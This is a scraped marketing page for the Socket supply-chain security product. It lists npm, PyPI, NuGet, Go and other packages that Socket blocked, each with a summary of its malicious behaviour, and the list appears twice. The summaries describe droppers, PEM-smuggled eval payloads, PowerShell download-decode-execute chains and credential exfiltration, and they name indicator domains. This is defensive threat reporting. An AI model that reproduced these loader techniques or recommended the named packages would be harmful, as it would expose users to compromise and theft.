close
New:Socket for Asana Is Now Available.Learn more →
Sign In

Secure OSS Dependencies

Socket for Open Source Security

Quickly evaluate the security and health of any open source package. Unlike a traditional vulnerability scanner, Socket can detect an active supply chain attack and help you block it. Socket detects over 70 issues in open source code for comprehensive protection.

Explore Integrations
Book a Demo

Call us at (844) SOCKET-0

Beyond CVE Scanning

What is Open Source Security?

Open source code makes up more than 90% of modern software projects, with many apps spamming 10,000+ dependencies. This makes it easy for attackers to use open source as a vector for attacks where open source packages registries are frequently the target of malware. Traditional vulnerability scanners cannot detect active supply chain attacks. Socket's free GitHub app safeguards your open source code from both vulnerable and malicious dependencies.

Install GitHub AppContact Sales
Socket Website

We protect you from vulnerable and malicious packages

the_tax_free_cashier_is_at_9f

0.0.1-security

by npm

Live on npm

Blocked by Socket

Malicious code in the_tax_free_cashier_is_at_9f (npm) Source: ghsa-malware (6cd5486908280c6ffff3c0177af75fcd17d2ce470c45862b81d6ac4c66193308) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

@everymatrix/player-account-controller-nd

1.94.114

by adrian.pripon

Live on npm

Blocked by Socket

High-risk supply-chain behavior is present. The module includes a capability to fetch remote text and execute it via `new Function(...)`, plus it can dynamically inject and run a remote script from a hardcoded external domain. It also embeds untrusted iframe URLs with camera/microphone permissions and processes cross-window messages without visible origin validation in this excerpt. This is consistent with a potential malware loader/backdoor pattern and warrants immediate security review (especially control/allowlisting for `importScript(e)` and iframe/script URL sources, plus integrity pinning and origin checks).

rn-push-provisioning

99.0.1

by liquidsec2

Live on npm

Blocked by Socket

The code contains clear data-exfiltration behavior: it silently sends the local hostname, username, platform, and architecture to hardcoded external endpoints over HTTP and HTTPS. The raw IP, unusual domain, duplicate destinations, and suppressed errors are strong malicious indicators. The fragment is syntactically incomplete as provided, but the visible behavior is high risk and should not be used without determining its provenance and removing the network activity.

@everymatrix/player-account-controller

1.94.114

by adrian.pripon

Live on npm

Blocked by Socket

High security risk. This module includes explicit remote code execution capability (fetch remote text then execute via new Function) and remote script injection. It also embeds backend-controlled iframe URLs with camera/microphone permissions and responds to window messages without shown origin validation. Unless importScript is provably unreachable/strictly allowlisted and all remote URLs are strongly validated with integrity controls, the component should be treated as potentially compromised/supply-chain high risk and reviewed for containment (remove/disable runtime execution, enforce URL/origin allowlists, restrict iframe permissions, and validate message origins).

@sankhyalabs/sankhyablocks

10.1.0-rc.37

by victor.uehara

Live on npm

Blocked by Socket

This module is high-risk and strongly indicative of malicious behavior. It performs explicit runtime execution of remotely fetched JavaScript (new Function on fetched content) and globally intercepts XMLHttpRequest to inject a custom request header computed from the serialized outbound request body via a cross-frame global function (top.charcleaner.a). These behaviors enable covert tracking/fingerprinting or data leakage through HTTP metadata and allow full compromise via remote code loading. Treat the package as unacceptable unless provenance, integrity, and runtime behavior are independently verified and controlled.

self-sign

5.6.6

by cookcook

Removed from npm

Blocked by Socket

Malicious code in self-sign (npm) Source: amazon-inspector (b684f78f17626dead6b3d11131179a7a1aff7fa5e903daeecdac17ce8e3b99b3) The exported generate() function in self-sign@5.6.7 accepts an undocumented third `defaults` parameter. When passed a string, the code strips PEM `-----BEGIN CERTIFICATE-----` headers, base64-decodes the remaining body, and passes the result to eval() inside a silent try/catch. The TypeScript declaration file advertises only two parameters, concealing the sink, while the shipped README examples pass a third argument (null), normalising the call shape so downstream callers can be induced to propagate attacker-controllable certificate-shaped strings into the eval sink. A cryptographic/x509 helper has no legitimate reason to evaluate base64 content extracted from a certificate string; this pattern yields arbitrary JavaScript execution in the process of any consumer that reaches this code path with attacker-influenced input. The package.json name (`self-sign`) also diverges from the require identifier used in the shipped documentation (`require('selfsign')`), a naming inconsistency that supports confusion with the legitimate selfsigned library. Source: ghsa-malware (b8adbf388bace10b905f93be8487c3b1866d941ecc0f968972de85f3b20f44de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.

mathkitlite

0.1.0

Live on pypi

Blocked by Socket

The code contains clear unauthorized telemetry/exfiltration behavior: it sends the local username and hostname to an external, suspicious collection endpoint during package setup execution. It should not be used or installed in an untrusted environment. The behavior is not substantially obfuscated, but its purpose is malicious or at minimum clearly unsafe for a package installer.

mathkitlite

0.1.0

Live on pypi

Blocked by Socket

Malicious code in mathkitlite (PyPI) Source: kam193 (c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.

@cexy/wonfca

1.1.3

by cexy

Live on npm

Blocked by Socket

The fragment contains a high-severity credential disclosure concern: automatic re-login sends Facebook credentials and two-factor data to the hardcoded third-party endpoint `https://minhdong.site` via `tokensViaAPI()`. This behavior is not necessary for ordinary Facebook API operation and should be treated as potentially malicious or at minimum unsafe until the endpoint and implementation are independently verified. The runtime npm update installer is an additional supply-chain risk, and AppState autosaving creates sensitive local credential storage. Most other code implements expected Facebook HTTP, GraphQL, MQTT, persistence, and scheduling functionality. The supplied fragment is truncated, limiting complete validation.

apohara-agentguard

0.5.0

by Pablo Manuel Suarez

Live on cargo

Blocked by Socket

The code represents a clear credential-exfiltration attempt: it reads AWS_SECRET_ACCESS_KEY and sends it in an HTTP POST request to an external endpoint. It should be blocked and treated as high-risk malicious shell activity.

pybitjs

0.1.0

Removed from pypi

Blocked by Socket

The file contains heavily obfuscated JavaScript that acts as a stager. It performs outbound requests to Ethereum RPC and other API endpoints to retrieve data associated with a specific blockchain address. This data is then decoded and executed directly on the host machine using `eval()` and `child_process.spawn()`, which is a common technique for downloading and running malicious payloads without leaving static traces in the initial script.

Live on pypi for 8 hours and 8 minutes before removal. Socket users were protected even while the package was live.

self-certificates

1.2.7

by cookcook

Removed from npm

Blocked by Socket

Malicious code in self-certificates (npm) Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.

dynamoforrevit.2024.zerotouchutils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary application source; it is a heavily protected .NET assembly containing anti-tamper checks, encrypted embedded resources, runtime delegate rewriting, CLR/JIT inspection, executable-memory allocation, and process-memory modification. These mechanisms may belong to a commercial obfuscator or packer, but they materially conceal behavior and create a high supply-chain risk. No direct network exfiltration, credential theft, persistence, or process spawning is visible in the supplied fragment. The source is also incomplete/malformed, so the embedded payload and omitted helper implementations require binary-level analysis before use.

xutk

0.4.0rc1

Live on pypi

Blocked by Socket

The code contains a high-severity supply-chain security issue: every generated SLURM script executes Python code downloaded from a hard-coded private HTTP endpoint without authentication or integrity verification. This should be removed or replaced with a trusted, versioned, hash-verified local dependency or securely authenticated artifact. The remaining orchestration code appears broadly consistent with job management, subject to review of the truncated remainder and the implementations of imported configuration and runner components.

revit.2025.utils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary readable C# source; it is heavily obfuscated and contains a sophisticated runtime protection/loader layer. It decrypts embedded resources, resolves methods dynamically, manipulates delegates and JIT/native memory, and performs anti-tamper checks. These are high-risk behaviors for a package dependency because the real implementations and payload are concealed. No direct network theft or destructive operation is visible, but the assembly should not be trusted without inspecting the original binary, embedded resources, decrypted payload, and runtime behavior in an isolated environment.

deepseek-free-agent

1.11.1

by readfor

Live on npm

Blocked by Socket

This package runs a local postinstall script during installation and installs an agent that accepts remote tasks via an HTTP API. That combination creates a high risk of untrusted code execution, telemetry/data exfiltration, and potential system misuse if the package or the tasks it accepts are malicious. The manifest alone does not prove active malware, but automatic execution (postinstall) plus the agent functionality warrants treating this as high security risk until the package's source (particularly src/postinstall.js, src/index.js, and related runtime code) is audited.

techportal

4.0.10

by chudamax

Live on npm

Blocked by Socket

The code contains a deliberate telemetry/exfiltration beacon. When enabled by configuration, it sends the hostname, username, and working directory to a configured HTTP(S) endpoint and, on failure, embeds the same data in DNS queries. This is a significant supply-chain and privacy risk because it executes at module load time and supports a covert DNS fallback channel. The configuration-based enablement reduces certainty about unauthorized intent, but the behavior is not necessary for a typical library and should be treated as malicious or unsafe unless explicitly authorized and independently verified.

shimmer

0.0.47

by Jens Ravens

Live on rubygems

Blocked by Socket

This module implements direct arbitrary JavaScript execution by eval’ing content read from a DOM element’s innerText during connect(), followed by immediate DOM removal. If the element’s text can be influenced by an attacker, it enables client-side code execution and potential data theft or further payload delivery. Treat as critically unsafe unless the evaluated content is fully immutable and guaranteed safe/trusted at build time.

dynamoforrevit.2024.zerotouchutils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary C# utility code. It contains extensive intentional obfuscation, encrypted embedded resources, anti-tamper verification, dynamic method/delegate reconstruction, CLR/JIT inspection, executable memory allocation, and direct process-memory patching. These are high-risk supply-chain indicators and could conceal arbitrary native or managed payload behavior. No direct exfiltration or network-based malware is shown, but the hidden runtime payload cannot be assessed safely from this fragment. Do not use the package in a production Revit environment without obtaining and validating the original unobfuscated source, inspecting embedded resources, and sandboxing the binary.

bq-build-probe-vrp-2026

0.1.0

Live on pypi

Blocked by Socket

The code is a build-time reconnaissance and environment-capture probe. It does not directly exfiltrate data, but it records the complete environment and cloud identity metadata, then embeds the findings in the package. This can leak credentials and sensitive infrastructure details through published artifacts. The behavior is consistent with a supply-chain reconnaissance component and should not be run in a sensitive build environment or published without substantial changes.

isite

2026.8.26

by amrbarakat

Live on npm

Blocked by Socket

The fragment contains clear high-impact malicious-capable behavior: automatic remote retrieval and execution of encoded JavaScript, plus WebSocket-triggered arbitrary script execution. It also contains serious security weaknesses involving external data disclosure, exposed session credentials, unauthenticated proxy and session-management endpoints, caller-controlled process operations, possible path traversal, and weak session-token generation. The remote eval channel is not required for ordinary mail, Telegram, templating, or application functionality and should be treated as a backdoor or unsafe remote administration mechanism until independently verified and removed.

github.com/Kaleidora/dnsub-scanning-tool

v0.0.0-20260826164532-0b22ea735b48

Live on go

Blocked by Socket

The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.

github.com/Kaleidora/dnsub-scanning-tool

v0.0.0-20260827050248-b86b7cae80a0

Live on go

Blocked by Socket

The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.

self-sign

5.6.4

by cookcook

Removed from npm

Blocked by Socket

The code contains a high-confidence arbitrary-code-execution backdoor: caller-controlled data from `defaults` is Base64-decoded and executed with `eval`. This behavior is unrelated to certificate generation and could enable complete compromise of the host or theft of secrets. The package or module should not be used until the `eval` path is removed and the origin and integrity of the code are investigated. Logging `defaults` may also leak sensitive data. The certificate logic itself is generally expected, with additional cryptographic concerns around SHA-1 usage.

Live on npm for 11 hours and 37 minutes before removal. Socket users were protected even while the package was live.

ufcdata

0.7.2

Live on pypi

Blocked by Socket

Primary risk: high-impact unsafe deserialization (pickle.load) of a file downloaded at runtime from an external Hugging Face dataset. If the dataset artifact is malicious or tampered with, this can lead to arbitrary code execution during unpickling. Aside from minor logging suppression and an apparent return-variable bug, the snippet shows no direct exfiltration/backdoor behavior.

the_tax_free_cashier_is_at_9f

0.0.1-security

by npm

Live on npm

Blocked by Socket

Malicious code in the_tax_free_cashier_is_at_9f (npm) Source: ghsa-malware (6cd5486908280c6ffff3c0177af75fcd17d2ce470c45862b81d6ac4c66193308) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

@everymatrix/player-account-controller-nd

1.94.114

by adrian.pripon

Live on npm

Blocked by Socket

High-risk supply-chain behavior is present. The module includes a capability to fetch remote text and execute it via `new Function(...)`, plus it can dynamically inject and run a remote script from a hardcoded external domain. It also embeds untrusted iframe URLs with camera/microphone permissions and processes cross-window messages without visible origin validation in this excerpt. This is consistent with a potential malware loader/backdoor pattern and warrants immediate security review (especially control/allowlisting for `importScript(e)` and iframe/script URL sources, plus integrity pinning and origin checks).

rn-push-provisioning

99.0.1

by liquidsec2

Live on npm

Blocked by Socket

The code contains clear data-exfiltration behavior: it silently sends the local hostname, username, platform, and architecture to hardcoded external endpoints over HTTP and HTTPS. The raw IP, unusual domain, duplicate destinations, and suppressed errors are strong malicious indicators. The fragment is syntactically incomplete as provided, but the visible behavior is high risk and should not be used without determining its provenance and removing the network activity.

@everymatrix/player-account-controller

1.94.114

by adrian.pripon

Live on npm

Blocked by Socket

High security risk. This module includes explicit remote code execution capability (fetch remote text then execute via new Function) and remote script injection. It also embeds backend-controlled iframe URLs with camera/microphone permissions and responds to window messages without shown origin validation. Unless importScript is provably unreachable/strictly allowlisted and all remote URLs are strongly validated with integrity controls, the component should be treated as potentially compromised/supply-chain high risk and reviewed for containment (remove/disable runtime execution, enforce URL/origin allowlists, restrict iframe permissions, and validate message origins).

@sankhyalabs/sankhyablocks

10.1.0-rc.37

by victor.uehara

Live on npm

Blocked by Socket

This module is high-risk and strongly indicative of malicious behavior. It performs explicit runtime execution of remotely fetched JavaScript (new Function on fetched content) and globally intercepts XMLHttpRequest to inject a custom request header computed from the serialized outbound request body via a cross-frame global function (top.charcleaner.a). These behaviors enable covert tracking/fingerprinting or data leakage through HTTP metadata and allow full compromise via remote code loading. Treat the package as unacceptable unless provenance, integrity, and runtime behavior are independently verified and controlled.

self-sign

5.6.6

by cookcook

Removed from npm

Blocked by Socket

Malicious code in self-sign (npm) Source: amazon-inspector (b684f78f17626dead6b3d11131179a7a1aff7fa5e903daeecdac17ce8e3b99b3) The exported generate() function in self-sign@5.6.7 accepts an undocumented third `defaults` parameter. When passed a string, the code strips PEM `-----BEGIN CERTIFICATE-----` headers, base64-decodes the remaining body, and passes the result to eval() inside a silent try/catch. The TypeScript declaration file advertises only two parameters, concealing the sink, while the shipped README examples pass a third argument (null), normalising the call shape so downstream callers can be induced to propagate attacker-controllable certificate-shaped strings into the eval sink. A cryptographic/x509 helper has no legitimate reason to evaluate base64 content extracted from a certificate string; this pattern yields arbitrary JavaScript execution in the process of any consumer that reaches this code path with attacker-influenced input. The package.json name (`self-sign`) also diverges from the require identifier used in the shipped documentation (`require('selfsign')`), a naming inconsistency that supports confusion with the legitimate selfsigned library. Source: ghsa-malware (b8adbf388bace10b905f93be8487c3b1866d941ecc0f968972de85f3b20f44de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.

mathkitlite

0.1.0

Live on pypi

Blocked by Socket

The code contains clear unauthorized telemetry/exfiltration behavior: it sends the local username and hostname to an external, suspicious collection endpoint during package setup execution. It should not be used or installed in an untrusted environment. The behavior is not substantially obfuscated, but its purpose is malicious or at minimum clearly unsafe for a package installer.

mathkitlite

0.1.0

Live on pypi

Blocked by Socket

Malicious code in mathkitlite (PyPI) Source: kam193 (c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.

@cexy/wonfca

1.1.3

by cexy

Live on npm

Blocked by Socket

The fragment contains a high-severity credential disclosure concern: automatic re-login sends Facebook credentials and two-factor data to the hardcoded third-party endpoint `https://minhdong.site` via `tokensViaAPI()`. This behavior is not necessary for ordinary Facebook API operation and should be treated as potentially malicious or at minimum unsafe until the endpoint and implementation are independently verified. The runtime npm update installer is an additional supply-chain risk, and AppState autosaving creates sensitive local credential storage. Most other code implements expected Facebook HTTP, GraphQL, MQTT, persistence, and scheduling functionality. The supplied fragment is truncated, limiting complete validation.

apohara-agentguard

0.5.0

by Pablo Manuel Suarez

Live on cargo

Blocked by Socket

The code represents a clear credential-exfiltration attempt: it reads AWS_SECRET_ACCESS_KEY and sends it in an HTTP POST request to an external endpoint. It should be blocked and treated as high-risk malicious shell activity.

pybitjs

0.1.0

Removed from pypi

Blocked by Socket

The file contains heavily obfuscated JavaScript that acts as a stager. It performs outbound requests to Ethereum RPC and other API endpoints to retrieve data associated with a specific blockchain address. This data is then decoded and executed directly on the host machine using `eval()` and `child_process.spawn()`, which is a common technique for downloading and running malicious payloads without leaving static traces in the initial script.

Live on pypi for 8 hours and 8 minutes before removal. Socket users were protected even while the package was live.

self-certificates

1.2.7

by cookcook

Removed from npm

Blocked by Socket

Malicious code in self-certificates (npm) Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.

dynamoforrevit.2024.zerotouchutils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary application source; it is a heavily protected .NET assembly containing anti-tamper checks, encrypted embedded resources, runtime delegate rewriting, CLR/JIT inspection, executable-memory allocation, and process-memory modification. These mechanisms may belong to a commercial obfuscator or packer, but they materially conceal behavior and create a high supply-chain risk. No direct network exfiltration, credential theft, persistence, or process spawning is visible in the supplied fragment. The source is also incomplete/malformed, so the embedded payload and omitted helper implementations require binary-level analysis before use.

xutk

0.4.0rc1

Live on pypi

Blocked by Socket

The code contains a high-severity supply-chain security issue: every generated SLURM script executes Python code downloaded from a hard-coded private HTTP endpoint without authentication or integrity verification. This should be removed or replaced with a trusted, versioned, hash-verified local dependency or securely authenticated artifact. The remaining orchestration code appears broadly consistent with job management, subject to review of the truncated remainder and the implementations of imported configuration and runner components.

revit.2025.utils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary readable C# source; it is heavily obfuscated and contains a sophisticated runtime protection/loader layer. It decrypts embedded resources, resolves methods dynamically, manipulates delegates and JIT/native memory, and performs anti-tamper checks. These are high-risk behaviors for a package dependency because the real implementations and payload are concealed. No direct network theft or destructive operation is visible, but the assembly should not be trusted without inspecting the original binary, embedded resources, decrypted payload, and runtime behavior in an isolated environment.

deepseek-free-agent

1.11.1

by readfor

Live on npm

Blocked by Socket

This package runs a local postinstall script during installation and installs an agent that accepts remote tasks via an HTTP API. That combination creates a high risk of untrusted code execution, telemetry/data exfiltration, and potential system misuse if the package or the tasks it accepts are malicious. The manifest alone does not prove active malware, but automatic execution (postinstall) plus the agent functionality warrants treating this as high security risk until the package's source (particularly src/postinstall.js, src/index.js, and related runtime code) is audited.

techportal

4.0.10

by chudamax

Live on npm

Blocked by Socket

The code contains a deliberate telemetry/exfiltration beacon. When enabled by configuration, it sends the hostname, username, and working directory to a configured HTTP(S) endpoint and, on failure, embeds the same data in DNS queries. This is a significant supply-chain and privacy risk because it executes at module load time and supports a covert DNS fallback channel. The configuration-based enablement reduces certainty about unauthorized intent, but the behavior is not necessary for a typical library and should be treated as malicious or unsafe unless explicitly authorized and independently verified.

shimmer

0.0.47

by Jens Ravens

Live on rubygems

Blocked by Socket

This module implements direct arbitrary JavaScript execution by eval’ing content read from a DOM element’s innerText during connect(), followed by immediate DOM removal. If the element’s text can be influenced by an attacker, it enables client-side code execution and potential data theft or further payload delivery. Treat as critically unsafe unless the evaluated content is fully immutable and guaranteed safe/trusted at build time.

dynamoforrevit.2024.zerotouchutils

2026.8.26

by onBIM Technology

Live on nuget

Blocked by Socket

The fragment is not ordinary C# utility code. It contains extensive intentional obfuscation, encrypted embedded resources, anti-tamper verification, dynamic method/delegate reconstruction, CLR/JIT inspection, executable memory allocation, and direct process-memory patching. These are high-risk supply-chain indicators and could conceal arbitrary native or managed payload behavior. No direct exfiltration or network-based malware is shown, but the hidden runtime payload cannot be assessed safely from this fragment. Do not use the package in a production Revit environment without obtaining and validating the original unobfuscated source, inspecting embedded resources, and sandboxing the binary.

bq-build-probe-vrp-2026

0.1.0

Live on pypi

Blocked by Socket

The code is a build-time reconnaissance and environment-capture probe. It does not directly exfiltrate data, but it records the complete environment and cloud identity metadata, then embeds the findings in the package. This can leak credentials and sensitive infrastructure details through published artifacts. The behavior is consistent with a supply-chain reconnaissance component and should not be run in a sensitive build environment or published without substantial changes.

isite

2026.8.26

by amrbarakat

Live on npm

Blocked by Socket

The fragment contains clear high-impact malicious-capable behavior: automatic remote retrieval and execution of encoded JavaScript, plus WebSocket-triggered arbitrary script execution. It also contains serious security weaknesses involving external data disclosure, exposed session credentials, unauthenticated proxy and session-management endpoints, caller-controlled process operations, possible path traversal, and weak session-token generation. The remote eval channel is not required for ordinary mail, Telegram, templating, or application functionality and should be treated as a backdoor or unsafe remote administration mechanism until independently verified and removed.

github.com/Kaleidora/dnsub-scanning-tool

v0.0.0-20260826164532-0b22ea735b48

Live on go

Blocked by Socket

The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.

github.com/Kaleidora/dnsub-scanning-tool

v0.0.0-20260827050248-b86b7cae80a0

Live on go

Blocked by Socket

The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.

self-sign

5.6.4

by cookcook

Removed from npm

Blocked by Socket

The code contains a high-confidence arbitrary-code-execution backdoor: caller-controlled data from `defaults` is Base64-decoded and executed with `eval`. This behavior is unrelated to certificate generation and could enable complete compromise of the host or theft of secrets. The package or module should not be used until the `eval` path is removed and the origin and integrity of the code are investigated. Logging `defaults` may also leak sensitive data. The certificate logic itself is generally expected, with additional cryptographic concerns around SHA-1 usage.

Live on npm for 11 hours and 37 minutes before removal. Socket users were protected even while the package was live.

ufcdata

0.7.2

Live on pypi

Blocked by Socket

Primary risk: high-impact unsafe deserialization (pickle.load) of a file downloaded at runtime from an external Hugging Face dataset. If the dataset artifact is malicious or tampered with, this can lead to arbitrary code execution during unpickling. Aside from minor logging suppression and an apparent return-variable bug, the snippet shows no direct exfiltration/backdoor behavior.

Get Visibility Into Open Source Dependencies with Real-Time Security Feedback

Proactively search and detect dependencies across repositories in your organization, with actionable insights for your projects and SBOMs

Organization Dashboard

Open Source Supply Chain Attack Prevention

Block Malware and Typosquatting

Block emerging malware threats, including intentionally maintainer-added updates, along with packages that differ in name by only a few characters..

Detect Privileged API Usage

Get alerted when a dependency update introduces new risky API usage - filesystem, network, child_process, eval().

Detect Hidden Code

Detect obfuscated, minified, or hidden code.

Detect Suspicious Updates

Socket detects the sudden inclusion of a new maintainer, updates with telemetry or protestware added, dependencies pulled in from a remote git URL, and much more.

We help security teams work more efficiently

Cut through the noise and focus on real threats.

Get actionable alerts for the supply chain risks that matter. Socket highlights risky dependencies directly within the developer workflow.